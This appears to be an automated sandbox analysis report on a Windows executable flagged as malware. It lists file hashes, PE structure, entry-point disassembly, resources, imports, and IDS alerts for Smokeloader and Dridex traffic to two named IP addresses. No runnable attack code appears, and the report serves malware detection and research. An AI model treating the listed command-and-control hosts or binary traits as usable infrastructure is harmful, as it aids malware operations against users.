Preview:	.... .q.[...&...p....b...-....../......[....'.T....GYYC....Qd.....W.0.......\|..?..0.....k ?.-..o.K._..M...DY.......F~.R$.:r.~.U..yK!.7,M.K.P...__./.%\.....A..........;...l.......>^].n#gb.?.q.v....K>..:n..{.@...O\...4..6$.e.N.. \8W\.....7....@Ya. .Y..T.7yQ.Q.p..m..A{.M..#......>.. .&....%.....C.b...G..b.....{...k..jH.%v....%>pu^.(SiH....W.v."....0..>Q?./B7..._.cZ..3..x"..@.....E.G.I..8/H.2.....Hp....S..H.....v..o:.`./}R.....$...Us..4.~.M}..^.p......:.m.Ce...&.1I..jS.r.....hK....,rv..udy .C`C... ...!_.8...X...,.`.{d8....e19B..F..P.)..g:...i. U........a%..`.gF?.3.......+....v......Fr.O..6p..`>NZ.}\|..........\.#t9.5.G..L...h.....y..._~].lz...!/j.{m..L.>.!jT..f8.&......i%..EL?..'..{.8b...D/.._1DV.......P.5..X.../d.G..\|.p...U...a......y..T=...v...aHA._...n.ryh5.V.u......5....@.h.{...q..p0........t.#6..j..._*N....h.$.^..8...&T..w.5?@...Q^..x.@.UDm....,.2..C0..{..eD/F.B...Y.s.x.p\|.....DN.M.....f.?..;..#.a...\>'..........T.,........j[.h....X

C:\Users\user\AppData\Roaming\uejbbri

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	417280
Entropy (8bit):	6.850109840048764
Encrypted:	false
SSDEEP:	6144:qg+Ov/uYh8vkotYJjh+qCeNKkzXlGIXhh1/pYgzquE6Y2T3:yOv9h8vF8+qekzEClYhu1YA
MD5:	1A29ED2D1AE240EC1D6F50DCC960BAA3
SHA1:	CAF7120A216A3A39BEE558A6A660F1FFC214A712
SHA-256:	2E4015F84A9A6D9C22EF65ACC66A3CF55C2CABC2D7A6F32B96297CA7D0F56EA4
SHA-512:	B5ABBB5ED0431F80E429849C4B45CE1A35A2D123E63520D8863A9817B6A599CC20A2B433B59162E48F546B0D335F16B717A2BEF70F207D3195D5955E70A51BAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..A.........`......`.)./..`...s....$..........`......`.-....`.*....Rich...........................PE..L...Kt.e............................S8............@..................................5..........................................d.......P...........................0...............................0...@...............0............................text..."........................... ..`.rdata..x...........................@..@.data............^..................@....rsrc...P............X..............@..@................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.853098055766101
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KTh1gQlT9a.exe
File size:	418'304 bytes
MD5:	6d9b8ff6442e3c42a7ad0e1238960057
SHA1:	fab711b446c2cc55f97c7a5afaa9f9833e01a0ea
SHA256:	a641af0462259586cf10b8867653e163f73b6066106455605643b08ab829ac77
SHA512:	dc71917d187f65526ad9218d1db79d83752df9017d72ef5afc5607567a4e3b20e3ac77d5c765fcce7f9f18ce8524bed0181db09028a29b832e1928579ee3ce98
SSDEEP:	6144:lwpk63+zRADFXmigaB0r9v1FkJNdj4E5nkJv23J7quw2T6:+pkQ+zRAhXmiLQ9vmaElkJv2YuwJ
TLSH:	0A949E439295BF70F5278B729E3EC6FA362EF5624E15276722167E2F24B01B1C123B11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M..A............f.......f.).)...f...u.....$.............f.......f.-.....f.*.....Rich............................PE..L......e...

File Icon


Icon Hash:	432d49455545610d

Static PE Info

General

Entrypoint:	0x4037e3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65190115 [Sun Oct 1 05:18:13 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	a11cbe8ba3528a436618e8dc32e663a6

Entrypoint Preview

Instruction
call 00007F7F6D3F25E1h
jmp 00007F7F6D3EEA8Eh
int3
int3
int3
call 00007F7F6D3EEC3Ch
xchg cl, ch
jmp 00007F7F6D3EEC24h
call 00007F7F6D3EEC33h
fxch st(0), st(1)
jmp 00007F7F6D3EEC1Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007F7F6D3EEC11h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007F7F6D3EEC06h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007F7F6D3EEC04h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007F7F6D3EEC07h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007F7F6D3F11BFh
fstp st(0)
fld tbyte ptr [0041169Ah]
ret
fstp st(0)
or cl, cl
je 00007F7F6D3EEC0Dh
fstp st(0)
fldpi
or ch, ch
je 00007F7F6D3EEC04h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007F7F6D3EEBF9h
fchs
ret
fstp st(0)
jmp 00007F7F6D3F1195h
fstp st(0)
mov cl, ch
jmp 00007F7F6D3EEC02h
call 00007F7F6D3EEBCEh
jmp 00007F7F6D3F11A0h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, FFFFFD30h
push ebx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x401ec	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x205d000	0x205f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x40250	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3fd50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x228	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf902	0xfa00	0c7692f809d27d3cbe79f0737eb653d1	False	0.607578125	data	6.752865043333725	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x2fe5e	0x30000	9e3cc5cd4ffabcb9b8e7b61c208a536a	False	0.943634033203125	data	7.882502718965042	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x41000	0x201b210	0x5e00	897d780e40efc176535680455956439a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x205d000	0x205f8	0x20600	c92d339fbbfb0fecdfde5b457ff3e6ce	False	0.4008430863899614	data	4.74374319544498	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
ZAVUTIDORAMACE	0x2076498	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.588821322292664
ZAVUTIDORAMACE	0x2076498	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.588821322292664
RT_CURSOR	0x2078308	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x20791b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x2079a58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x2079ff0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x207a120	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x207a1f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x207b0a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x207b948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x205db00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.4349680170575693
RT_ICON	0x205db00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.4349680170575693
RT_ICON	0x205e9a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5374548736462094
RT_ICON	0x205e9a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5374548736462094
RT_ICON	0x205f250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5996543778801844
RT_ICON	0x205f250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5996543778801844
RT_ICON	0x205f918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6748554913294798
RT_ICON	0x205f918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6748554913294798
RT_ICON	0x205fe80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.3287344398340249
RT_ICON	0x205fe80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.3287344398340249
RT_ICON	0x2062428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.40361163227016883
RT_ICON	0x2062428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.40361163227016883
RT_ICON	0x20634d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.4663934426229508
RT_ICON	0x20634d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.4663934426229508
RT_ICON	0x2063e58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.5549645390070922
RT_ICON	0x2063e58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.5549645390070922
RT_ICON	0x2064338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.36433901918976547
RT_ICON	0x2064338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.36433901918976547
RT_ICON	0x20651e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4526173285198556
RT_ICON	0x20651e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4526173285198556
RT_ICON	0x2065a88	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.45910138248847926
RT_ICON	0x2065a88	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.45910138248847926
RT_ICON	0x2066150	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.45303468208092484
RT_ICON	0x2066150	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.45303468208092484
RT_ICON	0x20666b8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2654564315352697
RT_ICON	0x20666b8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2654564315352697
RT_ICON	0x2068c60	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.30651969981238275
RT_ICON	0x2068c60	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.30651969981238275
RT_ICON	0x2069d08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.35726950354609927
RT_ICON	0x2069d08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.35726950354609927
RT_ICON	0x206a1d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.560501066098081
RT_ICON	0x206a1d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.560501066098081
RT_ICON	0x206b080	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5505415162454874
RT_ICON	0x206b080	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5505415162454874
RT_ICON	0x206b928	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.6105491329479769
RT_ICON	0x206b928	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.6105491329479769
RT_ICON	0x206be90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4589211618257261
RT_ICON	0x206be90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4589211618257261
RT_ICON	0x206e438	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.48686679174484054
RT_ICON	0x206e438	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.48686679174484054
RT_ICON	0x206f4e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4971311475409836
RT_ICON	0x206f4e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4971311475409836
RT_ICON	0x206fe68	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.450354609929078
RT_ICON	0x206fe68	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.450354609929078
RT_ICON	0x2070338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.488272921108742
RT_ICON	0x2070338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.488272921108742
RT_ICON	0x20711e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4697653429602888
RT_ICON	0x20711e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4697653429602888
RT_ICON	0x2071a88	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.434971098265896
RT_ICON	0x2071a88	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.434971098265896
RT_ICON	0x2071ff0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2773858921161826
RT_ICON	0x2071ff0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2773858921161826
RT_ICON	0x2074598	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2898686679174484
RT_ICON	0x2074598	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2898686679174484
RT_ICON	0x2075640	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3069672131147541
RT_ICON	0x2075640	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3069672131147541
RT_ICON	0x2075fc8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3395390070921986
RT_ICON	0x2075fc8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3395390070921986
RT_DIALOG	0x207c138	0x58	data			0.8977272727272727
RT_STRING	0x207c190	0x38c	data	Tamil	India	0.473568281938326
RT_STRING	0x207c190	0x38c	data	Tamil	Sri Lanka	0.473568281938326
RT_STRING	0x207c520	0x56e	data	Tamil	India	0.44316546762589926
RT_STRING	0x207c520	0x56e	data	Tamil	Sri Lanka	0.44316546762589926
RT_STRING	0x207ca90	0x2c6	data	Tamil	India	0.4732394366197183
RT_STRING	0x207ca90	0x2c6	data	Tamil	Sri Lanka	0.4732394366197183
RT_STRING	0x207cd58	0x4a2	data	Tamil	India	0.448566610455312
RT_STRING	0x207cd58	0x4a2	data	Tamil	Sri Lanka	0.448566610455312
RT_STRING	0x207d200	0x3f6	data	Tamil	India	0.4428007889546351
RT_STRING	0x207d200	0x3f6	data	Tamil	Sri Lanka	0.4428007889546351
RT_ACCELERATOR	0x20782d0	0x38	data	Tamil	India	0.9107142857142857
RT_ACCELERATOR	0x20782d0	0x38	data	Tamil	Sri Lanka	0.9107142857142857
RT_GROUP_CURSOR	0x2079fc0	0x30	data			0.9375
RT_GROUP_CURSOR	0x207a1d0	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x207beb0	0x30	data			0.9375
RT_GROUP_ICON	0x20702d0	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x20702d0	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x20642c0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x20642c0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_GROUP_ICON	0x206a170	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x206a170	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x2076430	0x68	data	Tamil	India	0.7211538461538461
RT_GROUP_ICON	0x2076430	0x68	data	Tamil	Sri Lanka	0.7211538461538461
RT_VERSION	0x207bee0	0x258	data			0.5466666666666666

Imports

DLL	Import
KERNEL32.dll	InterlockedDecrement, GetCurrentProcess, SetEnvironmentVariableW, CreateJobObjectW, SetComputerNameW, CreateHardLinkA, GetModuleHandleW, EnumCalendarInfoExW, GetNumberFormatA, GetWindowsDirectoryA, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, GetCalendarInfoW, CreateEventA, SetVolumeMountPointA, GetConsoleAliasExesLengthW, GetVersionExW, GetFileAttributesA, EnumSystemCodePagesA, GetTimeFormatW, GetModuleFileNameW, CreateActCtxA, GetEnvironmentVariableA, SetThreadPriority, GetTempPathW, VerifyVersionInfoW, GlobalUnfix, GetStdHandle, GetLogicalDriveStringsA, GetLastError, GetCurrentDirectoryW, GetLongPathNameW, EnumCalendarInfoW, CreateNamedPipeA, LoadModule, GlobalFree, GetProcessVersion, LoadLibraryA, InterlockedExchangeAdd, CreateFileMappingA, LocalAlloc, SetCalendarInfoW, FoldStringA, EnumDateFormatsA, GlobalUnWire, GetProcessShutdownParameters, LoadLibraryExA, GetFileTime, WaitForDebugEvent, OpenEventW, GetShortPathNameW, SetFileShortNameA, GetDiskFreeSpaceExW, LCMapStringW, CommConfigDialogW, ReadFile, GetProcessHeap, SetEndOfFile, GetStringTypeW, MultiByteToWideChar, CreateFileW, WriteConsoleW, InterlockedIncrement, GetConsoleAliasExesA, TlsGetValue, SetFilePointer, GetProcAddress, SetDefaultCommConfigA, FlushFileBuffers, SetStdHandle, HeapFree, EncodePointer, DecodePointer, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, IsProcessorFeaturePresent, WideCharToMultiByte, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, HeapCreate, Sleep, HeapSize, ExitProcess, RtlUnwind, HeapAlloc, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RaiseException, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CloseHandle, CreateFileA
USER32.dll	GetWindowLongW, SetCaretPos, CharUpperA, InsertMenuItemW, DrawStateA, LoadMenuA, CharLowerBuffA, GetSysColor, GetMenuStringA, SetMenu
GDI32.dll	GetBkMode, CreateDCW, GetCharWidth32W, GetTextCharset, GetCharWidthI
WINHTTP.dll	WinHttpCloseHandle

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T16:01:30.964560+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49711	116.58.10.60	80	TCP
2024-09-25T16:01:32.199413+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49712	116.58.10.60	80	TCP
2024-09-25T16:01:33.468152+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49713	116.58.10.60	80	TCP
2024-09-25T16:01:34.746162+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49714	116.58.10.60	80	TCP
2024-09-25T16:01:36.015287+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49715	116.58.10.60	80	TCP
2024-09-25T16:01:37.606649+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49716	116.58.10.60	80	TCP
2024-09-25T16:01:39.026227+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49717	116.58.10.60	80	TCP
2024-09-25T16:01:40.325430+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49718	116.58.10.60	80	TCP
2024-09-25T16:01:41.599554+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49719	116.58.10.60	80	TCP
2024-09-25T16:01:42.875381+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49720	116.58.10.60	80	TCP
2024-09-25T16:01:44.128986+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49721	116.58.10.60	80	TCP
2024-09-25T16:01:45.386549+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49722	116.58.10.60	80	TCP
2024-09-25T16:01:46.759129+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49723	116.58.10.60	80	TCP
2024-09-25T16:01:48.049798+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49724	116.58.10.60	80	TCP
2024-09-25T16:01:49.324358+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49725	116.58.10.60	80	TCP
2024-09-25T16:01:50.596094+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49726	116.58.10.60	80	TCP
2024-09-25T16:01:51.861069+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49727	116.58.10.60	80	TCP
2024-09-25T16:01:53.130512+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49728	116.58.10.60	80	TCP
2024-09-25T16:01:54.403705+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49729	116.58.10.60	80	TCP
2024-09-25T16:01:55.668995+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49730	116.58.10.60	80	TCP
2024-09-25T16:01:58.462541+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49732	116.58.10.60	80	TCP
2024-09-25T16:01:59.729148+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49733	116.58.10.60	80	TCP
2024-09-25T16:02:01.002562+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49735	116.58.10.60	80	TCP
2024-09-25T16:02:02.511353+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49736	116.58.10.60	80	TCP
2024-09-25T16:02:04.095673+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49737	116.58.10.60	80	TCP
2024-09-25T16:02:06.505504+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49738	116.58.10.60	80	TCP
2024-09-25T16:02:07.770118+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49739	116.58.10.60	80	TCP
2024-09-25T16:02:09.265193+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49740	116.58.10.60	80	TCP
2024-09-25T16:02:20.156005+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49741	23.145.40.162	443	TCP
2024-09-25T16:02:20.563474+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49741	23.145.40.162	443	TCP
2024-09-25T16:02:20.659998+0200	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	23.145.40.162	443	192.168.2.5	49741	TCP
2024-09-25T16:02:21.806634+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49742	23.145.40.162	443	TCP
2024-09-25T16:02:22.175887+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49742	23.145.40.162	443	TCP
2024-09-25T16:02:22.789674+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49743	23.145.40.162	443	TCP
2024-09-25T16:02:23.074361+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49743	23.145.40.162	443	TCP
2024-09-25T16:02:23.667347+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49744	23.145.40.162	443	TCP
2024-09-25T16:02:23.949540+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49744	23.145.40.162	443	TCP
2024-09-25T16:02:24.558695+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49745	23.145.40.162	443	TCP
2024-09-25T16:02:24.991989+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49745	23.145.40.162	443	TCP
2024-09-25T16:02:25.615628+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49746	23.145.40.162	443	TCP
2024-09-25T16:02:25.892849+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49746	23.145.40.162	443	TCP
2024-09-25T16:02:26.570388+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49747	23.145.40.162	443	TCP
2024-09-25T16:02:26.856911+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49747	23.145.40.162	443	TCP
2024-09-25T16:02:27.541564+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49748	23.145.40.162	443	TCP
2024-09-25T16:02:27.820364+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49748	23.145.40.162	443	TCP
2024-09-25T16:02:28.599198+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49749	23.145.40.162	443	TCP
2024-09-25T16:02:28.922723+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49749	23.145.40.162	443	TCP
2024-09-25T16:02:29.775443+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49750	23.145.40.162	443	TCP
2024-09-25T16:02:30.052893+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49750	23.145.40.162	443	TCP
